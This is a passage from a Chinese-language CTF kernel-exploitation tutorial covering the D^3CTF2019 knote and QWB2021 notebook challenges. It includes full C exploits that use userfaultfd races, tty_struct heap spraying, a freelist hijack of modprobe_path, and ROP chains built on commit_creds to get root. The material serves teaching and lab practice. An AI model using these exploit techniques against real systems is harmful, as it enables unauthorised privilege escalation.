* 让他在你想要的地方停顿,之后你再手动唤醒即可
*/

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}

例题:D^3CTF2019 - knote

点击下载-knote.7z

分析

首先查看启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
cd /home/ctf
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap

开启了 smap、smep、kaslr 保护

note.ko 拖入 IDA 进行分析:

只定义了 ioctl,在 ioctl 中定义了常规的菜单堆,限制了只能调用 ioctl 9 次,不过会在关闭的时候重置

image.png

image.png

简要分析可知我们应当传入如下数据结构:

1
2
3
4
5
6
7
8
9
typedef struct
{
union
{
size_t size;
size_t index;
};
char * buf;
} Chunk;

add 占用写锁,限制 size 在 0x1000 以下,不过对于常用结构体而言够用了;这里的全局数组 buf 同为 chunk 类型

image.png

edit 没加锁,用 copy_user_generic_unrolled 从用户空间拷贝数据(其实就是 copy_from_user 的核心被编译器优化提取出来了)

image.png

get 向用户空间拷贝 chunk 内数据,也没加锁

image.png

del 占了写锁

image.png

利用

在 Get() 当中使用了 user_copy_generic_unrolled 向用户空间拷贝数据,那么我们可以向内核传入一块被 userfaultfd 监视的 mmap 空间,在 userfaultfd 线程中先将拷贝暂停下来,随后在另一个线程当中将这个 object 释放掉后,重新分配到一些特殊的位置(例如 tty_struct),由此在拷贝线程重新启动后便能从该 object 中读出我们想要的数据

笔者在这里选择将其分配到 tty_struct 上,从中 leak 数据,不过在这里在打开 /dev/ptmx 后似乎没法直接分配到 tty_struct (魔数 0x5401 not match),而是分配到了一个奇怪的地方,不过我们仍能从中获取到内核相关函数地址从而泄露出内核基址

image.png

相应地,在本题中并未开启 hardened slub,故我们可以很方便地直接通过条件竞争劫持 freelist 从而构造内核任意地址写,而现在我们已经拿到了内核基址,该考虑往哪写、写什么了

modprobe_path 以 root 执行程序

当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:

1
2
3
4
5
6
7
8
9
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_modlue
call_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c,我们主要关注这部分代码(以下来着内核源码5.14):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int call_modprobe(char *module_name, int wait)
{
//...

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);

if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...

在这里调用了函数 call_usermodehelper_exec()modprobe_path 作为可执行文件路径以 root 权限将其执行,这个地址上默认存储的值为/sbin/modprobe

我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本

那么我们的 exp 就很容易构造出来了:通过两次 userfaultfd 劫持内核执行流,第一次泄露出内核加载的基址,第二次则劫持 modprobe_path,随后执行一个非法文件即可获得 flag

由于 slub 的机制的缘故,我们并不一定能够保证能够一次便能分配到我们想要的 object,在这里笔者写了一个脚本来多次尝试执行我们的 exp,而内核基址只需要泄漏一次,故笔者在这里在成功之后便写入一个临时文件中,若没能一次通关则在下一次重新运行 exp 时便能直接从第二次 userfaultfd 开始

1
2
3
4
5
#!/bin/sh
while true
do
./exp
done

需要注意的是当我们劫持 modprobe_path 后 slub 中的 freelist 便不再合法,而当我们退出进程时会回收内存,此时便会检测到非法的 freelist 从而导致 oops,因此最后我们不要立马退出我们的exp,笔者这里选择起一个新的 shell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define DO_SAK_WORK 0xffffffff815d4ef0
#define MODPROBE_PATH 0xffffffff8245c5c0

#define TTY_STRUCT_SIZE 0x2e0

static char cat_flag[] = "#!/bin/sh\nchmod 777 /flag";

static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(10);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

typedef struct
{
union
{
size_t size;
size_t index;
};
char * buf;
} Chunk;

long knote_fd;

void chunkAdd(size_t size)
{
Chunk chunk =
{
.size = size,
};
ioctl(knote_fd, 0x1337, &chunk);
}

void chunkEdit(size_t index, char * buf)
{
Chunk chunk =
{
.index = index,
.buf = buf,
};
ioctl(knote_fd, 0x8888, &chunk);
}

void chunkGet(size_t index, char * buf)
{
Chunk chunk =
{
.index = index,
.buf = buf,
};
ioctl(knote_fd, 0x2333, &chunk);
}

void chunkDel(size_t index)
{
Chunk chunk =
{
.index = index,
};
ioctl(knote_fd, 0x6666, &chunk);
}

int main(int argc, char ** argv, char ** envp)
{
int tty_fd, pid, fd;
size_t modprobe_path, temp[0x100];
char * buf2, flag[0x100];
FILE * file = NULL;

saveStatus();
page_size = sysconf(_SC_PAGE_SIZE);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
memset(page, 'A', 0x1000);
strcpy(page, "arttnba3");

// create reverse shell file
fd = open("/getshell", O_RDWR | O_CREAT);
write(fd, cat_flag, sizeof(cat_flag));
close(fd);
system("chmod +x /getshell");

// register userfaultfd
registerUserFaultFd(buf, 0x1000, fault_handler_thread);
registerUserFaultFd(buf2, 0x1000, fault_handler_thread);

knote_fd = open("/dev/knote", O_RDWR);

// read saved data(if existed)
fd = open("kernel_addr.txt", O_RDWR);
if (fd > 0)
{
close(fd);
file = fopen("/kernel_addr.txt", "r");
if (file)
{
fscanf(file, "%llx %llx", &kernel_base, &kernel_offset);
goto exploit;
}
}

// leak kernel base from tty struct by reading a free chunk
chunkAdd(TTY_STRUCT_SIZE);
pid = fork();
if (pid < 0)
errExit("FAILED to fork the child");
else if (pid == 0) // child to free the chunk
{
puts("[\033[34m\033[1m*\033[0m] Chile process sleeping now...");
sleep(2);
puts("[\033[34m\033[1m*\033[0m] Chile process started.");
chunkDel(0);
sleep(1);
tty_fd = open("/dev/ptmx", O_RDWR);
puts("[\033[34m\033[1m*\033[0m] Object free and tty got open. Backing parent thread...");
exit(0);
}
else
{
puts("[\033[34m\033[1m*\033[0m] Parent process trapped in userfaultfd...");
chunkGet(0, buf);
}

for (int i = 0; i < 0x58; i++)
printf("[----data-dump----] %d: %p\n", i, *((unsigned long long*)(buf) + i));

if (*((unsigned long long*)(buf) + 86))
puts("[\033[32m\033[1m+\033[0m] Successfully hit the tty_struct.");
else
errExit("Failed to hit the tty struct.");

kernel_offset = *((unsigned long long*)(buf) + 86) - DO_SAK_WORK;
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

file = fopen("/kernel_addr.txt", "w");
if (!file)
errExit("Unable to create temp file.");
fprintf(file, "%llx %llx", kernel_base, kernel_offset);
fclose(file);

exploit:
modprobe_path = MODPROBE_PATH + kernel_offset;
printf("[\033[34m\033[1m*\033[0m] Kernel offset: 0x%llx\n", kernel_offset);
printf("[\033[32m\033[1m+\033[0m] Kernel base: %p\n", kernel_base);
printf("[\033[32m\033[1m+\033[0m] modprobe_path: %p\n", modprobe_path);

// hijack the freelist in slub
chunkAdd(0x100);
memcpy(page, &modprobe_path, 8); // object->next
memcpy(((unsigned long long*)(page) + 1), "arttnba3", 8);
pid = fork();
if (pid < 0)
errExit("FAILED to fork the child");
else if (pid == 0) // child to free the chunk
{
puts("[\033[34m\033[1m*\033[0m] Chile process sleeping now...");
sleep(2);
puts("[\033[34m\033[1m*\033[0m] Chile process started.");
chunkDel(0);
puts("[\033[34m\033[1m*\033[0m] Object free and tty got open. Backing parent thread...");
exit(0);
}
else
{
puts("[\033[34m\033[1m*\033[0m] Parent process trapped in userfaultfd...");
chunkEdit(0, buf2);
}

// hijack the modprobe_path
chunkAdd(0x100);
chunkAdd(0x100);
chunkEdit(1, "/getshell");

// trigger the modprobe_path
system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
system("/fake");

// get flag
sleep(1);
fd = open("/flag", O_RDWR);
if (fd < 0)
errExit("FAILED to hijack!");
read(fd, flag, 0x100);
write(1, flag, 0x100);
system("/bin/sh");

return 0;
}

运行即可获得 flag

image.png

笔者尝试反弹一个 shell 到本地然后连上去,不过失败了,原因暂且不明…(目前怀疑可能是 qemu 环境的原因,如果是在真实环境应该是能够成功的

0x07.内核堆喷(heap spraying)

与用户态下 glibc 中的 ptmalloc2 不同,内核中的 slub 分配器对于内核攻击者而言有的时候是捉摸不定的——我们很难一次就成功地拿到同一个堆块(当前的 kmem_cache_cpu 所用的并不一定是同一张内存页)

为了解决这个问题,堆喷射heap spraying)手法应运而生——通过大量地分配行为去“撞”我们此前释放掉的堆块,在分配数量达到一定级别时我们总能把那个堆块拿回来

例题:强网杯2021线上赛 - notebook

简单分析

首先看一下启动脚本(写得很 tmd 乱,早该锤锤出题人了

1
2
3
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s

开了 smap、smep、kaslr 保护

查看 /sys/devices/system/cpu/vulnerabilities/

image.png

开启了 KPTI (内核页表隔离)

给了一个 LKM 叫 notebook.ko,按惯例这应当就是有漏洞的模块了,拖入 IDA 进行分析

大致是创建了一个 misc 类型的设备,并自定义了 ioctl、read、write 三个接口

image.png

1)note 结构体

定义了一个结构体 note,有着两个成员:size 存储 cache 的大小,buf 存储指向对应 cache 的指针

image.png

1
2
3
4
5
typedef struct
{
size_t size;
char * buf;
}note;

2)mynote_ioctl

对于 ioctl 通信,该模块模拟了一个菜单(又是菜单堆),提供了创建、编辑、释放内存的功能

image.png

我们需要传入的参数为如下结构体:

1
2
3
4
5
6
typedef struct 
{
size_t idx;
size_t size;
char * buf;
}userarg;
noteadd()

noteadd() 会向 slub 申请 object,其中限制了我们只能够分配 0x60 以下的 note,此时不会直接将用户数据拷贝到刚分配的 note 中,而是拷贝到全局变量字符数组 name

image.png

notedel()

这个函数主要用处是释放先前分配的 note

注意到在 notedel() 函数中若是 size 为 0 则不会清空,不过与 ptmalloc 所不同的是,kmalloc(0) 并不会返回 object

这里还有一个读写锁,不过 add 和 edit 占用的是位,而 delete 占用的是位,通俗地说便是:读锁可以被多个进程使用,多个进程此时可以同时进入临界区,而写锁只能被一个进程使用,只有一个进程能够进入临界区

image.png

noteedit()

编辑我们的 notebook 中的 object,若是 size 不同则会调用 krealloc,并将用户空间数据拷贝 256 字节至全局变量 name 中,否则直接返回,与 add 所不同的是 edit 并不会限制 size 大小,因此虽然 add 限制了 size,但是通过 edit 我们仍能获得任意大小的 object

在这里存在一个漏洞:edit 使用的是读锁,可以多个进程并发 realloc(buf, 0) ,通过条件竞争达到 double free 的效果

image.png

notegift()

notegift() 函数会白给出分配的 note 的地址

image.png

3)mynote_read

很普通的读取对应 note 内容的功能,读取的大小为 notebook 结构体数组中存的 size,下标为 read 传入的第三个参数

image.png

4)mynote_write

很普通的写入对应 note 内容的功能,写入的大小为 notebook 结构体数组中存的 size,下标为 write 传入的第三个参数

image.png

解法一:userfaultfd + heap spray + Kernel UAF + stack migration + KPTI bypass

1)userfaultfd 构造 UAF

考虑到在 mynote_edit 当中使用了 krealloc 来重分配 object,随后使用 copy_fom_user 从用户空间拷贝数据,那么这里我们可以先分配一个 tty_struct 大小的 note,之后新开 edit 线程通过 krealloc 一个较大的数将其释放,并通过 userfaultfd 让 mynote_edit 卡在这里,此时 notebook 数组中的 object 尚未被清空,仍是原先被释放了的 object

image.png

接下来我们进行堆喷射:多次打开 /dev/ptmx,由此我们便有可能将刚释放的 object 申请到 tty_struct 中

但在 read 和 write 中都会用 _check_object_size 检查 size 与 buf 大小是否匹配,在 mynote_add 当中限制了 size 应当不大于 0x60,而我们在 mynote_edit 中的释放操作之前会将 size 改掉

image.png

考虑到在 mynote_add 中先用 copy_from_user 拷贝数据后才调用 kmalloc,故这里还是可以新开 add 线程让 size 合法后通过 userfaultfd 让其卡在这里

image.png

我们可以通过检查 object 开头的数据是否为 tty 魔数 0x5401 判断是否分配到了 tty_struct

2)泄露内核地址

由于我们已经获得了一个 tty_struct,故可以直接通过 tty_struct 中的 tty_operations 泄露地址

ptm_unix98_ops && pty_unix98_ops

在 ptmx 被打开时内核通过 alloc_tty_struct() 分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_opspty_unix98_ops ,在调试阶段我们可以先关掉 kaslr 开 root 从 /proc/kallsyms 中读取其偏移

开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops

3)劫持 tty_operations

由于题目开启了 smap 保护,我们不能够直接将 fake tty_operations 放置到用户空间当中,但 notegift() 会白给出 notebook 里存的 note 的地址,那么我们可以把 fake tty_operations 布置到 note 当中

接下来进行栈迁移的工作,我们这里考虑劫持 tty_operations->write,简单下个断点看看环境:

image.png

可以发现当程序运行到这里时 rdi 寄存器中存储的刚好是 tty_struct 的地址,笔者选择通过下面这条 gadget 将栈迁移到 tty_struct:

image.png

tty_struct 比较小,而且很多数据不能动,这里笔者再进行第二次栈迁移迁回 tty_operations:

image.png

tty_operation 开头到 write 的空间比较小,笔者选择再进行第三次栈迁移到一个 note 中,在那里完成我们的 ROP

1
2
3
4
5
6
7
8
9
10
11
12
// first migration to tty_struct
((struct tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;

// second migration back to tty_operations
fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

// third migration to a note
fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;
fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;
fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

4)KPTI bypass

由于开启了 KPTI(内核页表隔离),故我们在返回用户态之前还需要将我们的用户进程的页表给切换回来

在这里直接使用内核用于完成内核态到用户态切换的函数 swapgs_restore_regs_and_return_to_usermode,地址可以在 /proc/kallsyms 中获得

布置出如下栈布局即可

1
2
3
4
5
6
7
8
↓	swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

最终的 exp 如下:

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929
#define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c
#define POP_RDI_RET 0xffffffff81007115
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833 // mov rdi, rax; xor eax, eax; cmp rdi, 0x9000000; je 0x245843; pop rbp; ret;
#define POP_RDX_RET 0xffffffff81358842
#define RET 0xffffffff81000091
#define SWAPGS_POP_RBP_RET 0xffffffff810637d4
#define IRETQ 0xffffffff810338bb
#define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1
#define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38
#define POP_RBP_RET 0xffffffff81000367
#define POP_RBX_POP_RBP_RET 0xffffffff81002141
#define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7

#define TTY_STRUCT_SIZE 0x2e0

static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(100);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

long note_fd;
typedef struct
{
size_t idx;
size_t size;
char * buf;
} Note;

void noteAdd(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, &note);
}

void noteAddWrapper(void * args)
{
Note * note = (Note*) args;
noteAdd(note->idx, note->size, note->buf);
}

void noteDel(size_t idx)
{
Note note =
{
.idx = idx,
};
ioctl(note_fd, 0x200, &note);
}

void noteEdit(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, &note);
}

void noteEditWrapper(void * args)
{
Note * note = (Note*) args;
noteEdit(note->idx, note->size, note->buf);
}

void noteGift(char * buf)
{
Note note =
{
.buf = buf,
};
ioctl(note_fd, 100, &note);
}

void evilAdd(void * args)
{
sem_wait(&sem_add);
noteAdd((int)args, 0x50, buf);
}

void evilEdit(void * args)
{
sem_wait(&sem_edit);
noteEdit((int)args, 0x2000, buf);
}

struct
{
void * buf;
size_t size;
} notebook[0x10];

int main(int argc, char ** argv, char ** envp)
{
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1, hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;
Note note;

saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);

note_fd = open("/dev/notebook", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
strcpy(page, "arttnba3");
page_size = sysconf(_SC_PAGE_SIZE);

// register userfaultfd
registerUserFaultFd(buf, 0x1000, fault_handler_thread);

// initialize the notebook
for (int i = 0; i < 0x10; i++)
{
noteAdd(i, 0x20, page);
noteEdit(i, TTY_STRUCT_SIZE, page);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);

// get all the note free and get the threads stuck by userfaultfd to save their ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_edit);
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);

// heap spraying to hit the tty_struct
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);

// change the size stored in notebook to pass _check_object_size and get the threads stuck by userfaultfd to save the ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);

// check whether we've hit the tty_struct
noteGift((char*) notebook);
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401))
{
printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");

// get kernel base
tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);

// find available note as fake tty_ops and fake stack
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (*((int*)tty_data) != 0x5401)
{
if (fake_tty_ops_idx == -1)
printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);
else
{
printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n", fake_stack_idx = i);
break;
}
}
}
if (fake_tty_ops_idx == -1 || fake_stack_idx == -1)
errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");

// adjust the size of the object
noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);
noteEdit(fake_stack_idx, 0x100, rop);
noteGift((char*) notebook);
printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);
printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n", notebook[fake_stack_idx].buf);

// restore tty_struct data
read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);

// first migration to tty_struct
((struct tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;

// second migration back to tty_operations
fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

// third migration to a note
fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;
fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;
fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

// final rop
int rop_idx = 0;
rop[rop_idx++] = 0x3361626e74747261; //arttnba3
rop[rop_idx++] = POP_RDI_RET + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = prepare_kernel_cred;
rop[rop_idx++] = POP_RDX_RET + kernel_offset;
rop[rop_idx++] = RET;
rop[rop_idx++] = MOV_RDI_RAX_POP_RBP_RET + kernel_offset;
rop[rop_idx++] = 0x3361626e74747261; //arttnba3
rop[rop_idx++] = commit_creds;
rop[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = 0;
rop[rop_idx++] = (size_t) &getRootShell;
rop[rop_idx++] = user_cs;
rop[rop_idx++] = user_rflags;
rop[rop_idx++] = user_sp;
rop[rop_idx++] = user_ss;

write(note_fd, rop, fake_stack_idx); // copy the ropchain
write(note_fd, fake_tty_ops_data, fake_tty_ops_idx); // hijack the tty_operations
write(note_fd, fake_tty_data, tty_idx); // hijack the tty_struct
puts("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m");

// exploit
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
for (int i = 0; i < 0x80; i++)
write(tty_fd[i], page, 233);

return 0;
}

运行即可成功提权到 root

image.png

经笔者多次测试,在开头的几步操作结束后都 sleep(1) 会极大地提高利用的稳定性(主要是等待多个线程启动完成),不过由于资源限制所能喷的 tty_struct 就少了些(但也够用了)

解法二:userfaultfd + heap spray + kernel UAF

参考了长亭的WP

前半部分与解法一基本上相同,但是在劫持 tty_struct 后并不是通过复杂的多次栈迁移进行利用,而是通过一个更为稳定的函数——

work_for_cpu_fn 稳定化利用

